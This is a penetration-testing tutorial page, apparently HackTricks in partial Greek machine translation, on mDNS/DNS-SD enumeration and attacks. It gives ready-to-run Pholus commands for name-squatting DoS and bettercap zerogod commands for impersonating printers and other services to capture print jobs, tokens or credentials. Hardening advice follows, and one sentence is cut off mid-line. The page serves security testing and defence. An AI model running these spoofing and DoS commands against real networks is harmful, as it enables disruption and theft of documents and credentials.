5353/UDP Multicast DNS (mDNS) and DNS-SD
Reading time: 8 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Basic Information
Το Multicast DNS (mDNS) επιτρέπει την επίλυση ονομάτων και την ανακάλυψη υπηρεσιών παρόμοια με το DNS μέσα σε έναν τοπικό σύνδεσμο χωρίς έναν unicast DNS server. Χρησιμοποιεί UDP/5353 και τις διευθύνσεις multicast 224.0.0.251 (IPv4) και FF02::FB (IPv6). Η Ανακάλυψη Υπηρεσιών DNS (DNS-SD, που χρησιμοποιείται συνήθως με το mDNS) παρέχει έναν τυποποιημένο τρόπο για την αρίθμηση και την περιγραφή υπηρεσιών μέσω των εγγραφών PTR, SRV και TXT.
PORT STATE SERVICE
5353/udp open zeroconf
Λεπτομέρειες πρωτοκόλλου που θα εκμεταλλευτείτε συχνά κατά τη διάρκεια επιθέσεων:
- Τα ονόματα στη ζώνη .local επιλύονται μέσω mDNS.
- Το bit QU (Query Unicast) μπορεί να ζητήσει unicast απαντήσεις ακόμη και για multicast ερωτήσεις.
- Οι υλοποιήσεις θα πρέπει να αγνοούν πακέτα που δεν προέρχονται από τον τοπικό σύνδεσμο; ορισμένες στοίβες εξακολουθούν να τα αποδέχονται.
- Η διερεύνηση/ανακοίνωση επιβάλλει μοναδικά ονόματα host/υπηρεσίας; η παρέμβαση εδώ δημιουργεί συνθήκες DoS/“name squatting”.
Μοντέλο υπηρεσίας DNS-SD
Οι υπηρεσίες αναγνωρίζονται ως _
Δικτυακή Εξερεύνηση και Αρίθμηση
- nmap σάρωση στόχου (άμεσο mDNS σε έναν host):
nmap -sU -p 5353 --script=dns-service-discovery <target>
- nmap ανακάλυψη broadcast (ακούστε το τμήμα και αριθμήστε όλους τους τύπους/περιπτώσεις DNS-SD):
sudo nmap --script=broadcast-dns-service-discovery
- avahi-browse (Linux):
# Λίστα τύπων υπηρεσιών
avahi-browse -bt _services._dns-sd._udp
# Περιήγηση σε όλες τις υπηρεσίες και επίλυση σε host/port
avahi-browse -art
- Apple dns-sd (macOS):
# Περιήγηση σε όλες τις υπηρεσίες HTTP
dns-sd -B _http._tcp
# Αρίθμηση τύπων υπηρεσιών
dns-sd -B _services._dns-sd._udp
# Επίλυση μιας συγκεκριμένης περίπτωσης σε SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
- Καταγραφή πακέτων με tshark:
# Ζωντανή καταγραφή
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Μόνο ερωτήσεις λίστας υπηρεσιών DNS-SD
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""
Συμβουλή: Ορισμένοι περιηγητές/WebRTC χρησιμοποιούν επαφή mDNS για να κρύψουν τις τοπικές διευθύνσεις IP. Εάν δείτε υποψήφια random-UUID.local στο δίκτυο, επιλύστε τα με mDNS για να μεταβείτε σε τοπικές διευθύνσεις IP.
Επιθέσεις
Παρέμβαση διερεύνησης ονόματος mDNS (DoS / name squatting)
Κατά τη διάρκεια της φάσης διερεύνησης, ένας host ελέγχει την μοναδικότητα του ονόματος. Η απάντηση με ψευδείς συγκρούσεις τον αναγκάζει να επιλέξει νέα ονόματα ή να αποτύχει. Αυτό μπορεί να καθυστερήσει ή να αποτρέψει την καταχώρηση και ανακάλυψη υπηρεσιών.
Παράδειγμα με Pholus:
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000
Υπηρεσία spoofing και impersonation (MitM)
Impersonate advertised DNS-SD services (printers, AirPlay, HTTP, file shares) για να αναγκάσετε τους πελάτες να συνδεθούν σε εσάς. Αυτό είναι ιδιαίτερα χρήσιμο για:
- Capture documents by spoofing _ipp._tcp or _printer._tcp.
- Lure clients to HTTP/HTTPS services to harvest tokens/cookies or deliver payloads.
- Combine with NTLM relay techniques when Windows clients negotiate auth to spoofed services.
With bettercap’s zerogod module (mDNS/DNS-SD spoofer/impersonator):
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"
# Show all services seen from a host
> zerogod.show 192.168.1.42
# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42
# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42
# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml
Επίσης δείτε τις γενικές ροές spoofing LLMNR/NBNS/mDNS/WPAD και capture/relay διαπιστευτηρίων:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Σημειώσεις σχετικά με πρόσφατα ζητήματα υλοποίησης (χρήσιμες για DoS/επιμονή κατά τη διάρκεια εμπλοκών)
- Τα σφάλματα Avahi reachable-assertion και D-Bus crash (2023) μπορούν να τερματίσουν το avahi-daemon σε διανομές Linux (π.χ. CVE-2023-38469..38473, CVE-2023-1981), διαταράσσοντας την ανακάλυψη υπηρεσιών στους στόχους μέχρι την επανεκκίνηση.
- Το DoS του mDNS gateway του Cisco IOS XE Wireless LAN Controller (2024, CVE-2024-20303) επιτρέπει στους γειτονικούς επιτιθέμενους να προκαλέσουν υψηλή χρήση CPU και αποσύνδεση APs. Εάν συναντήσετε ένα mDNS gateway μεταξύ VLANs, να είστε προσεκτικοί σχετικά με τη σταθερότητά του υπό κακώς διαμορφωμένο ή υψηλής ταχύτητας mDNS.
Αμυντικές εκτιμήσεις και OPSEC
- Όρια τμημάτων: Μην δρομολογείτε 224.0.0.251/FF02::FB μεταξύ ζωνών ασφαλείας εκτός αν απαιτείται ρητά ένα mDNS gateway. Εάν πρέπει να γεφυρώσετε την ανακάλυψη, προτιμήστε τις λίστες επιτρεπόμενων και τους περιορισμούς ρυθμού.
- Windows endpoints/servers:
- Για να απενεργοποιήσετε σίγουρα την επίλυση ονομάτων μέσω mDNS, ρυθμίστε την τιμή μητρώου και επανεκκινήστε:
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
- Σε διαχειριζόμενα περιβάλλοντα, απενεργοποιήστε τον ενσωματωμένο κανόνα “mDNS (UDP-In)” του Windows Defender Firewall (τουλάχιστον στο προφίλ Domain) για να αποτρέψετε την επεξεργασία εισερχόμενου mDNS διατηρώντας τη λειτουργικότητα οικιακής/περιπλανώμενης σύνδεσης.
- Σε νεότερες εκδόσεις Windows 11/GPO templates, χρησιμοποιήστε την πολιτική “Computer Configuration > Administrative Templates > Network > DNS Client > Configure multicast DNS (mDNS) protocol” και ρυθμίστε την σε Disabled.
- Linux (Avahi):
- Περιορίστε την δημοσίευση όταν δεν είναι απαραίτητη: ρυθμίστε
disable-publishing=yes
, και περιορίστε τις διεπαφές μεallow-interfaces=
/deny-interfaces=
στο/etc/avahi/avahi-daemon.conf
. - Σκεφτείτε το
check-response-ttl=yes
και αποφύγετε τοenable-reflector=yes
εκτός αν είναι αυστηρά απαραίτητο; προτιμήστε τις λίστες επιτρεπόμενωνreflect-filters=
κατά την αντανάκλαση. - macOS: Περιορίστε το εισερχόμενο mDNS σε τείχη προστασίας host/network όταν η ανακάλυψη Bonjour δεν είναι απαραίτητη για συγκεκριμένα υποδίκτυα.
- Παρακολούθηση: Ειδοποιήστε για ασυνήθιστες αυξήσεις σε ερωτήματα
_services._dns-sd._udp.local
ή ξαφνικές αλλαγές σε SRV/TXT κρίσιμων υπηρεσιών; αυτά είναι δείκτες spoofing ή impersonation υπηρεσιών.
Γρήγορη αναφορά εργαλείων
- nmap NSE:
dns-service-discovery
καιbroadcast-dns-service-discovery
. - Pholus: ενεργή σάρωση, αντίστροφα mDNS sweeps, βοηθήματα DoS και spoofing.
# Passive sniff (timeout seconds)
sudo python3 pholus3.py <iface> -stimeout 60
# Enumerate service types
sudo python3 pholus3.py <iface> -sscan
# Send generic mDNS requests
sudo python3 pholus3.py <iface> --request
# Reverse mDNS sweep of a subnet
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
- bettercap zerogod: ανακαλύψτε, αποθηκεύστε, διαφημίστε και impersonate υπηρεσίες mDNS/DNS-SD (δείτε παραδείγματα παραπάνω).
Spoofing/MitM
Η πιο ενδιαφέρουσα επίθεση που μπορείτε να εκτελέσετε μέσω αυτής της υπηρεσίας είναι να εκτελέσετε ένα MitM στην επικοινωνία μεταξύ του πελάτη και του πραγματικού διακομιστή. Μπορείτε να αποκτήσετε ευαίσθητα αρχεία (MitM την επικοινωνία με τον εκτυπωτή) ή ακόμη και διαπιστευτήρια (Windows authentication).
Για περισσότερες πληροφορίες δείτε:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Αναφορές
- Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things
- Nmap NSE: broadcast-dns-service-discovery
- bettercap zerogod (mDNS/DNS-SD discovery, spoofing, impersonation)
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.